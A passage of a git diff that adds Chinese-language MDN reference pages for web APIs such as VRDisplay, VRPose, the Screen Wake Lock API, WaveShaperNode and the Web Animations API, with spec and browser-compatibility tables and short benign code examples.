{{SpecName('Visual Viewport','#dom-visualviewport-onscroll','onscroll')}}{{Spec2('Visual Viewport')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.VisualViewport.onscroll")}}

diff --git a/files/zh-cn/web/api/vrdisplay/index.html b/files/zh-cn/web/api/vrdisplay/index.html new file mode 100644 index 0000000000..60f52c60cf --- /dev/null +++ b/files/zh-cn/web/api/vrdisplay/index.html @@ -0,0 +1,136 @@ +--- +title: VRDisplay +slug: Web/API/VRDisplay +translation_of: Web/API/VRDisplay +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

WebVR API 中的 VRDisplay 代表任何支持此 API 的 VR 设备。它包括了设备 ID、描述信息等诸如此类的通用信息,以及用于开始呈现 VR 场景、检索眼睛参数和显示能力以及其他重要的功能和方法。

+ +

可以通过调用 {{domxref("Navigator.getVRDisplays()")}} 方法得到所有连接的 VR 设备数组。

+ +

属性

+ +
+
{{domxref("VRDisplay.capabilities")}} {{readonlyInline}}
+
返回一个 {{domxref("VRDisplayCapabilities")}} 对象,用于指示 VRDisplay 的各种功能。
+
{{domxref("VRDisplay.depthFar")}}
+
获取或设置眼睛可视锥的最远深度。
+
{{domxref("VRDisplay.depthNear")}}
+
获取或设置眼睛可视锥的最近深度。
+
{{domxref("VRDisplay.displayId")}} {{readonlyInline}}
+
返回此 VRDisplay 的标识符,它也用作与 Gamepad API 的关联(详见 {{domxref("Gamepad.displayId")}})。
+
{{domxref("VRDisplay.displayName")}} {{readonlyInline}}
+
返回一个不反人类的名称来标识此 VRDisplay。
+
{{domxref("VRDisplay.isConnected")}} {{readonlyInline}}
+
返回一个 {{domxref("Boolean")}} 值,指示 VRDisplay 是否连接到计算机。
+
{{domxref("VRDisplay.isPresenting")}} {{readonlyInline}}
+
返回一个 {{domxref("Boolean")}} 值,指示 VRDisplay 当前是否由内容被呈现。
+
{{domxref("VRDisplay.stageParameters")}} {{readonlyInline}}
+
如果 VR 设备支持房间规模测验,则返回一个包含房间尺寸参数的 {{domxref("VRStageParameters")}} 对象。
+
+ +

方法

+ +
+
{{domxref("VRDisplay.getEyeParameters()")}}
+
返回指定一侧眼睛参数的 {{domxref("VREyeParameters")}} 对象。
+
{{domxref("VRDisplay.getLayers()")}}
+
返回 VRDisplay 当前显示的图层。
+
{{domxref("VRDisplay.getPose()")}}
+
Returns a {{domxref("VRPose")}} object defining the future predicted pose of the VRDisplay as it will be when the current frame is actually presented.
+
{{domxref("VRDisplay.getImmediatePose()")}}
+
Returns a {{domxref("VRPose")}} object defining the current pose of the VRDisplay, with no prediction applied.
+
{{domxref("VRDisplay.resetPose()")}}
+
Resets the pose for this VRDisplay, treating its current {{domxref("VRPose.position")}} and {{domxref("VRPose.orientation")}} as the "origin/zero" values.
+
{{domxref("VRDisplay.cancelAnimationFrame()")}}
+
A special implementation of {{domxref("Window.cancelAnimationFrame")}} that allows callbacks registered with {{domxref("VRDisplay.requestAnimationFrame()")}} to be unregistered.
+
{{domxref("VRDisplay.requestAnimationFrame()")}}
+
A special implementation of {{domxref("Window.requestAnimationFrame")}} containing a callback function that will be called every time a new frame of the VRDisplay presentation is rendered.
+
{{domxref("VRDisplay.requestPresent()")}}
+
Starts the VRDisplay presenting a scene.
+
{{domxref("VRDisplay.exitPresent()")}}
+
Stops the VRDisplay presenting a scene.
+
{{domxref("VRDisplay.submitFrame()")}}
+
Captures the current state of the {{domxref("VRLayer")}} currently being presented and displays it on the VRDisplay.
+
+ +

示例

+ +
TBD.
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR', '#interface-vrdisplay', 'VRDisplay')}}{{Spec2('WebVR')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

另请参见

+ + diff --git a/files/zh-cn/web/api/vrdisplay/requestanimationframe/index.html b/files/zh-cn/web/api/vrdisplay/requestanimationframe/index.html new file mode 100644 index 0000000000..31d04f4956 --- /dev/null +++ b/files/zh-cn/web/api/vrdisplay/requestanimationframe/index.html @@ -0,0 +1,109 @@ +--- +title: VRDisplay.requestAnimationFrame() +slug: Web/API/VRDisplay/requestAnimationFrame +translation_of: Web/API/VRDisplay/requestAnimationFrame +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

The requestAnimationFrame() method of the {{domxref("VRDisplay")}} interface is a special implementation of {{domxref("Window.requestAnimationFrame")}} containing a callback function that will be called every time a new frame of the VRDisplay presentation is rendered:

+ + + +

Syntax

+ +
var handle = vrDisplayInstance.requestAnimationFrame(callback);
+
+ +

Parameters

+ +
+
callback
+
A callback function that will be called every time a new frame of the VRDisplay presentation is rendered.
+
+ +

Return value

+ +

A long representing the handle of the requestAnimationFrame() call. This can then be passed to a {{domxref("VRDisplay.cancelAnimationFrame()")}} call to unregister the callback.

+ +

Examples

+ +
TBD.
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR', '#dom-vrdisplay-requestanimationframe', 'requestAnimationFrame()')}}{{Spec2('WebVR')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/vrpose/index.html b/files/zh-cn/web/api/vrpose/index.html new file mode 100644 index 0000000000..0cb8562b69 --- /dev/null +++ b/files/zh-cn/web/api/vrpose/index.html @@ -0,0 +1,126 @@ +--- +title: VRPose +slug: Web/API/VRPose +tags: + - VR + - VRPose + - WebVR + - 实验性的 + - 虚拟现实 +translation_of: Web/API/VRPose +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

The VRPose interface of the WebVR API represents the state of a VR sensor at a given timestamp (which includes orientation, position, velocity, and acceleration information.)

+ +

WebVR API  中的 VRPose 接口表示在一个给定的时间戳中,一个VR传感器的状态(包括了方向、位置、速度和加速度信息)。

+ +

This interface is accessible through the {{domxref("VRDisplay.getPose()")}} and {{domxref("VRDisplay.getImmediatePose()")}} methods.

+ +

这个接口能通过 {{domxref("VRDisplay.getPose()")}} 和 {{domxref("VRDisplay.getImmediatePose()")}} 方法访问

+ +

Properties

+ +
+
{{domxref("VRPose.timeStamp")}} {{readonlyInline}}
+
Returns the current time stamp of the system — a monotonically increasing value useful for determining if position data has been updated, and what order updates have occured in.
+
返回当前系统的时间戳。此单调递增的值可以有助于确定位置数据是否有更新,以及更新的顺序。
+
{{domxref("VRPose.position")}} {{readonlyInline}}
+
Returns the position of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}} as a 3D vector
+
以三维向量的形式返回当前时间戳 {{domxref("VRPose.timestamp")}}  时 {{domxref("VRDisplay")}}  的位置信息。
+
{{domxref("VRPose.linearVelocity")}} {{readonlyInline}}
+
Returns the linear velocity of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}}, in meters per second.
+
返回当前时间戳 {{domxref("VRPose.timestamp")}}  时 {{domxref("VRDisplay")}}  的线速度,单位为米/秒。
+
{{domxref("VRPose.linearAcceleration")}} {{readonlyInline}}
+
Returns the linear acceleration of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}}, in meters per second per second.
+
返回当前时间戳 {{domxref("VRPose.timestamp")}}  时 {{domxref("VRDisplay")}}  的线加速度,单位为米/平方秒。
+
{{domxref("VRPose.orientation")}} {{readonlyInline}}
+
Returns the orientation of the sensor at the current {{domxref("VRPose.timestamp")}}, as a quarternion value.
+
以四元数的形式返回当前时间戳 {{domxref("VRPose.timestamp")}}  时传感器的方向,
+
{{domxref("VRPose.angularVelocity")}} {{readonlyInline}}
+
Returns the angular velocity of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}}, in radians per second.
+
返回当前时间戳 {{domxref("VRPose.timestamp")}}  时 {{domxref("VRDisplay")}}  的角速度,单位为弧度/秒。
+
{{domxref("VRPose.angularAcceleration")}} {{readonlyInline}}
+
Returns the angular acceleration of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}}, in meters per second per second.
+
返回当前时间戳 {{domxref("VRPose.timestamp")}}  时 {{domxref("VRDisplay")}}  的角加速度,单位为弧度/平方秒。
+
+ +

Examples

+ +
TBD.
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR', '#interface-vrpose', 'VRPose')}}{{Spec2('WebVR')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/vrpose/timestamp/index.html b/files/zh-cn/web/api/vrpose/timestamp/index.html new file mode 100644 index 0000000000..73c285fa7c --- /dev/null +++ b/files/zh-cn/web/api/vrpose/timestamp/index.html @@ -0,0 +1,98 @@ +--- +title: VRPose.timestamp +slug: Web/API/VRPose/timeStamp +translation_of: Web/API/VRPose/timeStamp +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

timestamp 是 {{domxref("VRPose")}} 接口的只读属性,返回为系统此时的时间戳 — 一个单调递增的数值,代表这个软件启动到现在的时间。

+ +

这个属性对于确定位置数据是否已更新和什么次序更新了很有用。

+ +

Syntax

+ +
var myTimeStamp = VRPose.timestamp;
+ +

Value

+ +

{{domxref("DOMHighResTimeStamp")}} 代表时间戳,以秒为单位.

+ +

Examples

+ +
TBD.
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR', '#dom-vrpose-timestamp', 'timestamp')}}{{Spec2('WebVR')}}初始定义
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/wakelock/index.html b/files/zh-cn/web/api/wakelock/index.html new file mode 100644 index 0000000000..41697e4c71 --- /dev/null +++ b/files/zh-cn/web/api/wakelock/index.html @@ -0,0 +1,61 @@ +--- +title: WakeLock +slug: Web/API/WakeLock +translation_of: Web/API/WakeLock +--- +

{{APIRef("Screen Wake Lock API")}}{{SeeCompatTable}}{{securecontext_header}}

+ +

WakeLock 接口允许一个文件获取屏幕唤醒锁定。

+ +

方法

+ +
+
{{domxref("WakeLock.request","WakeLock.request()")}}
+
返回一个决议为 {{DOMxRef("WakeLockSentinel")}} 的 {{JSxRef("Promise")}} 或当唤醒锁定不可访问的时候抛出异常。
+
+ +

示例

+ +

以下例子获取一个唤醒锁定并在 10 分钟后释放它:

+ +
function tryKeepScreenAlive(minutes) {
+  navigator.wakeLock.request("screen").then(lock => {
+    setTimeout(() => lock.release(), minutes * 60 * 1000);
+  });
+}
+
+tryKeepScreenAlive(10);
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态Comment
Screen Wake Lock APIEditor's DraftInitial definition
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.WakeLock")}}

+ +

相关链接

+ + +
diff --git a/files/zh-cn/web/api/wakelock/request/index.html b/files/zh-cn/web/api/wakelock/request/index.html new file mode 100644 index 0000000000..11605b1ab9 --- /dev/null +++ b/files/zh-cn/web/api/wakelock/request/index.html @@ -0,0 +1,86 @@ +--- +title: WakeLock.request() +slug: Web/API/WakeLock/request +translation_of: Web/API/WakeLock/request +--- +

{{APIRef("Screen Wake Lock API")}}{{SeeCompatTable}}{{securecontext_header}}

+ +

WakeLock.request() 方法用来获取屏幕唤醒锁定权限,防止屏幕变暗、关闭或展示屏幕保护程序。

+ +

语法

+ +
WakeLock.request(wakeLockType)
+ +

参数

+ +
+
wakeLockType
+
唤醒锁定类型,目前必须传 "screen"
+
+ +

返回值

+ +

决议为 {{DOMxRef("WakeLockSentinel")}} 的 {{JSxRef("Promise")}}。

+ +

异常

+ +
+
NotAllowedError
+
当唤醒锁定不可用的时候抛出,例如在: +
    +
  • 由于屏幕唤醒锁定策略,Document 不允许使用屏幕唤醒锁定。
  • +
  • Document 不完全激活。
  • +
  • Document 被隐藏。
  • +
  • {{Glossary("User Agent")}} 无法获取平台的唤醒锁定。
  • +
+
+
+ +

示例

+ +

以下示例获取屏幕唤醒锁定并在 10 分钟后释放它:

+ +
function tryKeepScreenAlive(minutes) {
+  navigator.wakeLock.request("screen").then(lock => {
+    setTimeout(() => lock.release(), minutes * 60 * 1000);
+  });
+}
+
+tryKeepScreenAlive(10);
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态Comment
Screen Wake Lock APIEditor's DraftInitial specification.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WakeLock.request")}}

+ +

相关链接

+ + + +

+ +

diff --git a/files/zh-cn/web/api/wakelocksentinel/index.html b/files/zh-cn/web/api/wakelocksentinel/index.html new file mode 100644 index 0000000000..4dc7f06435 --- /dev/null +++ b/files/zh-cn/web/api/wakelocksentinel/index.html @@ -0,0 +1,73 @@ +--- +title: WakeLockSentinel +slug: Web/API/WakeLockSentinel +translation_of: Web/API/WakeLockSentinel +--- +

{{APIRef("Screen Wake Lock API")}}{{SeeCompatTable}}{{securecontext_header}}

+ +

The WakeLockSentinel interface of Screen Wake Lock API provides a handle to a platform wake lock used to prevent screen from turning off, dimming, or displaying a screen saver.

+ +

属性

+ +
+
{{DOMxRef("WakeLockSentinel.type")}} {{readonlyInline}}
+
Wake lock type. Currently it is always "screen".
+
+ +

方法

+ +
+
{{DOMxRef("WakeLockSentinel.release","WakeLockSentinel.release()")}}
+
Returns a {{JSxRef("Promise")}} that resolves without a value after requesting the underlying wake lock is released.
+
+ +

事件处理程序

+ +
+
{{DOMxRef("WakeLockSentinel.onrelease")}}
+
Event handler for release event type which occurs when WakeLockSentinel object's handle has been releases due to either a release() method being called or because {{Glossary("User Agent")}} releases the lock.
+
+ +

示例

+ +

The following example acquires a screen wake lock and then releases it in 10 minutes:

+ +
function tryKeepScreenAlive(minutes) {
+  navigator.wakeLock.request("screen").then(lock => {
+    setTimeout(() => lock.release(), minutes * 60 * 1000);
+  });
+}
+
+tryKeepScreenAlive(10);
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态Comment
Screen Wake Lock APIEditor's DraftInitial specification.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WakeLockSentinel")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/waveshapernode/curve/index.html b/files/zh-cn/web/api/waveshapernode/curve/index.html new file mode 100644 index 0000000000..5d3874078e --- /dev/null +++ b/files/zh-cn/web/api/waveshapernode/curve/index.html @@ -0,0 +1,62 @@ +--- +title: WaveShaperNode.curve +slug: Web/API/WaveShaperNode/curve +translation_of: Web/API/WaveShaperNode/curve +--- +

{{ APIRef("Web Audio API") }}

+ +

{{ domxref("WaveShaperNode") }} 接口的 curve 属性是一个描述要被应用的畸变的{{domxref("Float32Array")}} 数组.

+ +

数组的中间元素被应用于每个信号数值 0, 第一个应用于信号数值 -1,最后一个应用于信号数值 1; 小于 -1 或者大于 1 的数值分别按照 -11 来处理。

+ +

如有必要, 使用线性插值计算畸变曲线的中间值。

+ +
+

注意: 数组的值可以是 null : 在这个情况下, 不会有畸变被应用到输入的信号上。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var distortion = audioCtx.createWaveShaper();
+distortion.curve = myCurveDataArray; // myCurveDataArray is a Float32Array
+
+ +

Value

+ +

 一个 {{domxref("Float32Array")}}.

+ +

示例

+ +

{{page("/en-US/docs/Web/API/AudioContext.createWaveShaper","Example")}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-WaveShaperNode-curve', 'curve')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.WaveShaperNode.curve")}}

+
+ +

参考链接

+ + diff --git a/files/zh-cn/web/api/waveshapernode/index.html b/files/zh-cn/web/api/waveshapernode/index.html new file mode 100644 index 0000000000..3cf690d41f --- /dev/null +++ b/files/zh-cn/web/api/waveshapernode/index.html @@ -0,0 +1,94 @@ +--- +title: WaveShaperNode +slug: Web/API/WaveShaperNode +translation_of: Web/API/WaveShaperNode +--- +

{{ APIRef("Web Audio API") }}

+ +
+

WaveShaperNode 接口表示一个非线性的畸变器。 是一个使用曲线来将一个波形畸变应用到一个声音信号中的{{domxref("AudioNode")}} 。 除了明显的失真效果之外, 它通常用来给信号添加一个暖调的感觉。

+
+ +

 一个WaveShaperNode 总是有一个确切的输入和输出。

+ + + + + + + + + + + + + + + + + + + + + + + + +
输入数目1
输出数目1
信道计数模式"max"
信道计数2 (不在缺省的计数模式中使用)
信道解释"speakers"
+ +

构造器

+ +
+
{{domxref("WaveShaperNode.WaveShaperNode", "WaveShaperNode()")}}
+
 创建一个新的WaveShaperNode 对象的实例。
+
+ +

属性

+ +

 包含了继承自父类{{domxref("AudioNode")}}的属性

+ +
+
{{domxref("WaveShaperNode.curve")}}
+
是一个{{domxref("Float32Array")}}描述要应用的失真数值的数组。
+
{{domxref("WaveShaperNode.oversample")}}
+
是一个描述是否必须使用过采样的枚举值。 过采样是一个用来在将失真效果应用到音频信号之前创建更多采样(上采样)的技术。
+
+ +

方法

+ +

没有特有的方法; 从父类 {{domxref("AudioNode")}}继承了方法

+ +

示例

+ +

{{page("/en-US/docs/Web/API/AudioContext.createWaveShaper","Example")}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-waveshapernode-interface', 'WaveShaperNode')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.WaveShaperNode")}}

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/waveshapernode/oversample/index.html b/files/zh-cn/web/api/waveshapernode/oversample/index.html new file mode 100644 index 0000000000..a4ffadd603 --- /dev/null +++ b/files/zh-cn/web/api/waveshapernode/oversample/index.html @@ -0,0 +1,82 @@ +--- +title: WaveShaperNode.oversample +slug: Web/API/WaveShaperNode/oversample +translation_of: Web/API/WaveShaperNode/oversample +--- +

{{ APIRef("Web Audio API") }}

+ +

{{ domxref("WaveShaperNode") }} 接口的 oversample 属性是一个指示过采样是否必须使用的枚举值。 过采样是一个用于在将畸变应用到音频信号之前创建更多的采样(上采样)的技术。

+ +

一旦被应用, 采样的数值会被还原为初始的数值。 这将通过避免一些混淆现象从而导致更好的结果, 代价则是在畸变曲线上会有较低的精确度。

+ +

 可用的oversample 值有:

+ + + + + + + + + + + + + + + + + + + + + + +
ValueEffect
'none'不使用过采样。
'2x'在应用畸变曲线前将采样的数量翻倍。
'4x'在应用畸变曲线前将采样的数量翻4倍。
+ +

语法

+ +
distortion.oversample = enumeratedValue;
+
+ +

+ + + +

示例

+ +

{{page("/en-US/docs/Web/API/AudioContext.createWaveShaper","Example")}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-WaveShaperNode-oversample', 'oversample')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.WaveShaperNode.oversample")}}

+
+ +

参考链接

+ + diff --git a/files/zh-cn/web/api/waveshapernode/waveshapernode/index.html b/files/zh-cn/web/api/waveshapernode/waveshapernode/index.html new file mode 100644 index 0000000000..6cb81637fc --- /dev/null +++ b/files/zh-cn/web/api/waveshapernode/waveshapernode/index.html @@ -0,0 +1,60 @@ +--- +title: WaveShaperNode.WaveShaperNode() +slug: Web/API/WaveShaperNode/WaveShaperNode +tags: + - API + - 构造方法 +translation_of: Web/API/WaveShaperNode/WaveShaperNode +--- +

{{APIRef("Web Audio API")}}

+ +

Web Audio APIWaveShaperNode() 构造方法创建一个新的 {{domxref("WaveShaperNode")}}对象,是一个可以用来表示非线性畸变的{{domxref("AudioNode")}} 。

+ +

语法

+ +
var waveShaperNode = new WaveShaperNode(context, options)
+ +

参数

+ +

 继承 {{domxref("AudioNodeOptions")}} 字典的参数。

+ +
+
context
+
{{domxref("AudioContext")}}的一个引用。
+
options {{optional_inline}}
+
Options参数如下: +
    +
  • curve: 用于波形形成效果的修正曲线。输入信号通常在[-1;1]的范围间。
  • +
  • oversample: 指定在应用修正曲线时会被使用的过采样的类别(如果有的话)。有效的值有'none', '2x', 或者'4x'。缺省情况下是'none'。
  • +
+
+
+ +

返回值

+ +

一个新的{{domxref("WaveShaperNode")}}对象的实例。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API','#WaveShaperNode','WaveShaperNode()')}}{{Spec2('Web Audio API')}}初始化定义。
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.WaveShaperNode.WaveShaperNode")}}

+
diff --git a/files/zh-cn/web/api/web_animations_api/index.html b/files/zh-cn/web/api/web_animations_api/index.html new file mode 100644 index 0000000000..76f53da385 --- /dev/null +++ b/files/zh-cn/web/api/web_animations_api/index.html @@ -0,0 +1,167 @@ +--- +title: Web Animations API +slug: Web/API/Web_Animations_API +tags: + - web animations api +translation_of: Web/API/Web_Animations_API +--- +

{{DefaultAPISidebar("Web Animations")}}{{ SeeCompatTable() }}

+ +
+

Web Animations API 允许同步和定时更改网页的呈现, 即DOM元素的动画。它通过组合两个模型来实现:时序模型 和 动画模型。

+
+ +

概念和用法

+ +
+
Web Animations API 为浏览器和开发人员提供了一种用于描述DOM元素的动画的通用语言。要获得有关API背后的概念以及如何使用它的更多信息,请阅读使用Web Amimations API
+
+ +

网页动画接口

+ +
+
+ +
+
{{domxref("Animation")}}
+
提供播放控制、动画节点或源的时间轴。 可以接受使用{{domxref("KeyframeEffect.KeyframeEffect")}}构造函数创建的对象作为参数。
+
{{domxref("KeyframeEffect")}}
+
描述动画属性的集合,调用keyframes及{{domxref("Animation Effect Timing Properties")}}。 然后可以使用 {{domxref("Animation")}} 构造函数进行播放。
+
{{domxref("AnimationTimeline")}}
+
表示动画的时间轴。 此接口用以定义时间轴功能(继承自{{domxref("DocumentTimeline")}}和{{domxref("future timeline")}}),并且本身不被开发人员访问。
+
{{domxref("DocumentTimeline")}}
+
表示动画时间轴,包括默认的{{domxref("DocumentTimeline")}}(通过{{domxref("Document.timeline")}}访问)。
+
{{domxref("AnimationEffectTiming")}}
+
包含{{domxref("KeyframeEffect")}}的{{domxref("KeyframeEffect.timing", "timing")}}返回的定时属性对象。 它从{{domxref("AnimationEffectTimingReadOnly")}}继承其属性,但是以非只读形式。
+
{{domxref("SharedKeyframeList")}}
+
表示可在{{domxref("KeyframeEffect")}}对象之间共享的关键帧序列。 通过使用该对象,多个{{domxref("KeyframeEffect")}}对象可以重用相同的关键帧,而无需支付多次解析它们的成本。
+
{{domxref("AnimationEffectTimingProperties")}}
+
{{domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly()")}}和 {{domxref("KeyframeEffect.KeyframeEffect()")}}的定时属性对象。
+
+ +

扩展的其他接口

+ +

The Web Animations API 向{{domxref("document")}}{{domxref("element")}} 添加了一些新的功能。

+ +

扩展到 Document 的接口

+ +
+
{{domxref("document.timeline")}}
+
DocumentTimeline 表示默认文档时间轴
+
{{domxref("document.getAnimations()")}}
+
返回当前对文档中的元素有效的{{domxref("Animation")}}对象的数组。
+
+

扩展到 Element 的接口

+
+
{{domxref("Element.animate()")}}
+
用于在元素上创建和播放动画的快捷方式。 它返回创建的{{domxref("Animation")}}对象实例。
+
+ +
+
+ +

Web动画只读接口

+ +

规格中包括以下接口,用于定义在多个其他位置使用的功能。 你不会在Web开发工作中直接使用这些接口,但他们能帮助库或框架作者了解这些接口如何工作,使他们的库的实现可以更有效,或者浏览器工程师寻找一个比规范提供的内容更容易的参考。

+ +
+
{{domxref("AnimationEffectTimingReadOnly")}}
+
A dictionary object of timing properties, which are inherited by the mutable {{domxref("AnimationEffectTiming")}} interface associated with {{domxref("KeyframeEffect")}}.
+
{{domxref("AnimationEffectReadOnly")}}
+
Defines current and future "Animation Effects" like {{domxref("KeyframeEffect")}}, which can be passed to {{domxref("Animation.Animation")}} objects for playing, and {{domxref("KeyframeEffectReadOnly")}} which is used by {{domxref("KeyframeEffect")}} (inherited by CSS Animations and Transitions).
+
{{domxref("KeyframeEffectReadOnly")}}
+
Describes sets of animatable properties and values that can be played using the {{domxref("Animation.Animation()")}} constructor, and which are inherited by {{domxref("KeyframeEffect")}}. 
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Animations')}}{{Spec2('Web Animations')}}Initial definition
+ +

浏览器支持

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support (Element.animate()){{ CompatChrome(36.0) }}
+  
{{ CompatGeckoDesktop(48)}}{{ CompatNo }} +

29
+ 28 behind pref

+
{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{CompatChrome(42.0)}}{{ CompatGeckoMobile(48) }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatChrome(42.0) }}
+[1] 仅在Firefox 52 Nightly和Dev版本中启用。在测试版/发布版中关闭。
+ +

 

+ +

相关内容

+ +

 

+ + diff --git a/files/zh-cn/web/api/web_animations_api/keyframe_formats/index.html b/files/zh-cn/web/api/web_animations_api/keyframe_formats/index.html new file mode 100644 index 0000000000..d534d4a5c4 --- /dev/null +++ b/files/zh-cn/web/api/web_animations_api/keyframe_formats/index.html @@ -0,0 +1,196 @@ +--- +title: 关键帧(Keyframe)格式 +slug: Web/API/Web_Animations_API/Keyframe_Formats +tags: + - Animation + - annimate + - 关键帧 + - 关键帧格式 +translation_of: Web/API/Web_Animations_API/Keyframe_Formats +--- +

{{ SeeCompatTable() }}{{ APIRef("Web Animations API") }}

+ +

{{domxref("Element.animate()")}}, {{domxref("KeyframeEffect.KeyframeEffect()")}}, 和 {{domxref("KeyframeEffect.setKeyframes()")}} 都接受格式为一组关键帧的对象, 这种格式有以下几种选项。

+ +

语法

+ +
+

关键帧格式有两种不同的方式:

+ +
    +
  1. +

    一个由多个关键帧的属性和值组成的对象所构成的数组。这是{{domxref("KeyframeEffect.getKeyframes()", "getKeyframes()")}}方法返回的规范格式。

    + +
    element.animate([
    +  { // from
    +    opacity: 0,
    +    color: "#fff"
    +  },
    +  { // to
    +    opacity: 1,
    +    color: "#000"
    +  }
    +], 2000);
    + +

    对每个关键帧的偏移可以通过提供一个offset来指定。

    + +
    element.animate([ { opacity: 1 },
    +                  { opacity: 0.1, offset: 0.7 },
    +                  { opacity: 0 } ],
    +                2000);
    +
    + +
    +

    提示: offset 的值必须是在[0.0, 1.0]这个区间内,且须升序排列。

    +
    + +

    并非所有的关键帧都需要设置offset。 没有指定offset的关键帧将与相邻的关键帧均匀间隔。

    + +

    可以通过提供easing过渡来给指定关键帧之间应用过渡效果,如下所示: 

    + +
    element.animate([ { opacity: 1, easing: 'ease-out' },
    +                  { opacity: 0.1, easing: 'ease-in' },
    +                  { opacity: 0 } ],
    +                2000);
    +
    + +

    在这个例子中,指定的easing仅适用于指定它的关键帧到下一帧之间。 但是在options中指定的 easing 值都将应用在一个动画的整个持续时间里。

    +
  2. +
  3. 一个包含key-value键值的对象需要包含动画的属性和要循环变化的值数组。 +
    element.animate({
    +  opacity: [ 0, 1 ],          // [ from, to ]
    +  color:   [ "#fff", "#000" ] // [ from, to ]
    +}, 2000);
    +
    + +

    使用这种格式,每个数组的元素数量不必相等。所提供的值将独立分开。

    + +
    element.animate({
    +  opacity: [ 0, 1 ], // offset: 0, 1
    +  backgroundColor: [ "red", "yellow", "green" ], // offset: 0, 0.5, 1
    +}, 2000);
    +
    + +

